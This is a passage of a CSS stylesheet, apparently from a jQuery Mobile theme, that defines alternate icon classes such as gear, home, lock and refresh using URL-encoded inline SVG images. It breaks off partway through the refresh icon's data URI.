.ui-alt-icon.ui-icon-forward:after, .ui-alt-icon .ui-icon-forward:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M13%2C4L9%2C0v3C6%2C3%2C1%2C4%2C1%2C8c0%2C5%2C7%2C6%2C7%2C6v-2c0%2C0-5-1-5-4s6-3%2C6-3v3L13%2C4z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-gear:after, .ui-alt-icon .ui-icon-gear:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M13.621%2C5.904l-1.036-0.259c-0.168-0.042-0.303-0.168-0.355-0.332c-0.092-0.284-0.205-0.559-0.339-0.82%20c-0.079-0.153-0.073-0.337%2C0.017-0.486l0.549-0.915c0.118-0.196%2C0.088-0.448-0.075-0.61l-0.862-0.863%20c-0.162-0.163-0.414-0.193-0.611-0.075l-0.916%2C0.55C9.844%2C2.182%2C9.659%2C2.188%2C9.506%2C2.109C9.244%2C1.975%2C8.97%2C1.861%2C8.686%2C1.77%20c-0.165-0.052-0.29-0.187-0.332-0.354L8.095%2C0.379C8.039%2C0.156%2C7.839%2C0%2C7.609%2C0H6.391c-0.229%2C0-0.43%2C0.156-0.485%2C0.379L5.646%2C1.415%20C5.604%2C1.582%2C5.479%2C1.718%2C5.313%2C1.77c-0.284%2C0.092-0.559%2C0.206-0.82%2C0.34C4.339%2C2.188%2C4.155%2C2.182%2C4.007%2C2.093L3.092%2C1.544%20c-0.196-0.118-0.448-0.087-0.61%2C0.075L1.619%2C2.481C1.457%2C2.644%2C1.426%2C2.896%2C1.544%2C3.093l0.549%2C0.914%20c0.089%2C0.148%2C0.095%2C0.332%2C0.017%2C0.486C1.975%2C4.755%2C1.861%2C5.029%2C1.77%2C5.314c-0.053%2C0.164-0.188%2C0.29-0.354%2C0.332L0.379%2C5.905%20C0.156%2C5.961%2C0%2C6.161%2C0%2C6.391v1.219c0%2C0.229%2C0.156%2C0.43%2C0.379%2C0.485l1.036%2C0.26C1.582%2C8.396%2C1.717%2C8.521%2C1.77%2C8.687%20c0.092%2C0.284%2C0.205%2C0.559%2C0.34%2C0.82C2.188%2C9.66%2C2.182%2C9.844%2C2.093%2C9.993l-0.549%2C0.915c-0.118%2C0.195-0.087%2C0.448%2C0.075%2C0.61%20l0.862%2C0.862c0.162%2C0.163%2C0.414%2C0.193%2C0.61%2C0.075l0.915-0.549c0.148-0.089%2C0.332-0.095%2C0.486-0.017%20c0.262%2C0.135%2C0.536%2C0.248%2C0.82%2C0.34c0.165%2C0.053%2C0.291%2C0.187%2C0.332%2C0.354l0.259%2C1.036C5.96%2C13.844%2C6.16%2C14%2C6.39%2C14h1.22%20c0.229%2C0%2C0.43-0.156%2C0.485-0.379l0.259-1.036c0.042-0.167%2C0.168-0.302%2C0.333-0.354c0.284-0.092%2C0.559-0.205%2C0.82-0.34%20c0.154-0.078%2C0.338-0.072%2C0.486%2C0.017l0.914%2C0.549c0.197%2C0.118%2C0.449%2C0.088%2C0.611-0.074l0.862-0.863%20c0.163-0.162%2C0.193-0.415%2C0.075-0.611l-0.549-0.915c-0.089-0.148-0.096-0.332-0.017-0.485c0.134-0.263%2C0.248-0.536%2C0.339-0.82%20c0.053-0.165%2C0.188-0.291%2C0.355-0.333l1.036-0.259C13.844%2C8.039%2C14%2C7.839%2C14%2C7.609V6.39C14%2C6.16%2C13.844%2C5.96%2C13.621%2C5.904z%20M7%2C10%20c-1.657%2C0-3-1.343-3-3s1.343-3%2C3-3s3%2C1.343%2C3%2C3S8.657%2C10%2C7%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-grid:after, .ui-alt-icon .ui-icon-grid:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M3%2C0H1C0.447%2C0%2C0%2C0.447%2C0%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C4%2C0.447%2C3.553%2C0%2C3%2C0z%20M8%2C0H6%20C5.447%2C0%2C5%2C0.447%2C5%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C9%2C0.447%2C8.553%2C0%2C8%2C0z%20M13%2C0h-2c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C14%2C0.447%2C13.553%2C0%2C13%2C0z%20M3%2C5H1C0.447%2C5%2C0%2C5.447%2C0%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1V6C4%2C5.447%2C3.553%2C5%2C3%2C5z%20M8%2C5H6C5.447%2C5%2C5%2C5.447%2C5%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6%20C9%2C5.447%2C8.553%2C5%2C8%2C5z%20M13%2C5h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6C14%2C5.447%2C13.553%2C5%2C13%2C5z%20M3%2C10%20H1c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C4%2C10.447%2C3.553%2C10%2C3%2C10z%20M8%2C10H6c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C9%2C10.447%2C8.553%2C10%2C8%2C10z%20M13%2C10h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1v-2C14%2C10.447%2C13.553%2C10%2C13%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-heart:after, .ui-alt-icon .ui-icon-heart:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C1.958c-2-3-7-2.128-7%2C1.872c0%2C3%2C4%2C7%2C4%2C7s2.417%2C2.48%2C3%2C3c0.583-0.52%2C3-3%2C3-3s4-4%2C4-7C14-0.169%2C9-1.042%2C7%2C1.958z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-home:after, .ui-alt-icon .ui-icon-home:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C0%200%2C7%202%2C7%202%2C14%205%2C14%205%2C9%209%2C9%209%2C14%2012%2C14%2012%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-info:after, .ui-alt-icon .ui-icon-info:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C2c0.552%2C0%2C1%2C0.447%2C1%2C1S7.552%2C4%2C7%2C4S6%2C3.553%2C6%2C3%20S6.448%2C2%2C7%2C2z%20M9%2C11H5v-1h1V6H5V5h3v5h1V11z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-location:after, .ui-alt-icon .ui-icon-location:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C4.791%2C0%2C3%2C1.791%2C3%2C4c0%2C2%2C4%2C10%2C4%2C10s4-8%2C4-10C11%2C1.791%2C9.209%2C0%2C7%2C0z%20M7%2C6C5.896%2C6%2C5%2C5.104%2C5%2C4s0.896-2%2C2-2%20c1.104%2C0%2C2%2C0.896%2C2%2C2S8.104%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-lock:after, .ui-alt-icon .ui-icon-lock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C6V5c0-2.762-2.238-5-5-5C4.239%2C0%2C2%2C2.238%2C2%2C5v1H1v8h12V6H12z%20M7.5%2C9.848V12h-1V9.848C6.207%2C9.673%2C6%2C9.366%2C6%2C9%20c0-0.553%2C0.448-1%2C1-1s1%2C0.447%2C1%2C1C8%2C9.366%2C7.793%2C9.673%2C7.5%2C9.848z%20M10%2C6H4V5c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3V6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-mail:after, .ui-alt-icon .ui-icon-mail:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M0%2C3.75V12h14V3.75L7%2C9L0%2C3.75z%20M14%2C2H0l7%2C5L14%2C2z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-minus:after, .ui-alt-icon .ui-icon-minus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Crect%20y%3D%225%22%20width%3D%2214%22%20height%3D%224%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-navigation:after, .ui-alt-icon .ui-icon-navigation:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2213%2C1%200%2C6%207%2C7%208%2C14%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-phone:after, .ui-alt-icon .ui-icon-phone:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M6.949%2C9.182C6.175%2C8.549%2C5.281%2C7.697%2C4.507%2C6.736C3.963%2C6.063%2C3.483%2C5.355%2C3.979%2C4.858l-3.482-3.48%20c-0.508%2C0.634-1.633%2C3.654%2C3.188%2C8.598c5.08%2C5.211%2C8.356%2C4.097%2C8.92%2C3.511l-3.396-3.399C8.734%2C10.561%2C8.123%2C10.139%2C6.949%2C9.182z%20%20M13.83%2C11.512v-0.004c0%2C0-2.648-2.646-2.649-2.647c-0.21-0.212-0.546-0.205-0.754%2C0.002L9.465%2C9.823l3.402%2C3.407%20c0%2C0%2C0.963-0.961%2C0.961-0.961l0.002-0.002C14.053%2C12.049%2C14.031%2C11.713%2C13.83%2C11.512z%20M5.202%2C3.636V3.634%20c0.222-0.222%2C0.2-0.557%2C0-0.758V2.873c0%2C0-2.726-2.725-2.727-2.726c-0.21-0.21-0.545-0.205-0.753%2C0.001L0.761%2C1.113L4.24%2C4.595%20C4.241%2C4.596%2C5.202%2C3.637%2C5.202%2C3.636z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-plus:after, .ui-alt-icon .ui-icon-plus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C5%209%2C5%209%2C0%205%2C0%205%2C5%200%2C5%200%2C9%205%2C9%205%2C14%209%2C14%209%2C9%2014%2C9%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-power:after, .ui-alt-icon .ui-icon-power:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M11.243%2C2.408c-0.392-0.401-1.024-0.401-1.415%2C0c-0.391%2C0.401-0.391%2C1.054%2C0%2C1.455C10.584%2C4.642%2C11%2C5.675%2C11%2C6.773%20s-0.416%2C2.133-1.172%2C2.91c-1.512%2C1.558-4.145%2C1.558-5.656%2C0C3.416%2C8.904%2C3%2C7.872%2C3%2C6.773C3%2C5.673%2C3.416%2C4.64%2C4.172%2C3.863%20c0.39-0.401%2C0.39-1.054%2C0-1.455c-0.391-0.401-1.024-0.401-1.415%2C0C1.624%2C3.574%2C1%2C5.125%2C1%2C6.773c0%2C1.647%2C0.624%2C3.199%2C1.757%2C4.365%20c1.134%2C1.166%2C2.64%2C1.809%2C4.243%2C1.809c1.604%2C0%2C3.109-0.645%2C4.243-1.811C12.376%2C9.975%2C13%2C8.423%2C13%2C6.773%20C13%2C5.125%2C12.376%2C3.574%2C11.243%2C2.408z%20M7%2C8.053c0.553%2C0%2C1-0.445%2C1-1v-6c0-0.553-0.447-1-1-1c-0.553%2C0-1%2C0.447-1%2C1v6%20C6%2C7.604%2C6.447%2C8.053%2C7%2C8.053z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-recycle:after, .ui-alt-icon .ui-icon-recycle:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M3%2C7h1L2%2C4L0%2C7h1c0%2C3.313%2C2.687%2C6%2C6%2C6c0.702%2C0%2C1.374-0.127%2C2-0.35v-2.205C8.41%2C10.789%2C7.732%2C11%2C7%2C11C4.791%2C11%2C3%2C9.209%2C3%2C7z%20%20M13%2C7c0-3.313-2.688-6-6-6C6.298%2C1%2C5.626%2C1.127%2C5%2C1.349v2.206C5.59%2C3.211%2C6.268%2C3%2C7%2C3c2.209%2C0%2C4%2C1.791%2C4%2C4h-1l2%2C3l2-3H13z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-refresh:after, .ui-alt-icon .ui-icon-refresh:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.001px%22%20height%3D%2214.002px%22%20viewBox%3D%220%200%2014.001%2014.002%22%20style%3D%22enable-background%3Anew%200%200%2014.001%2014.002%3B%22%20%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M14.001%2C6.001v-6l-2.06%2C2.06c-0.423-0.424-0.897-0.809-1.44-1.122C7.153-0.994%2C2.872%2C0.153%2C0.939%2C3.501%20c-1.933%2C3.348-0.786%2C7.629%2C2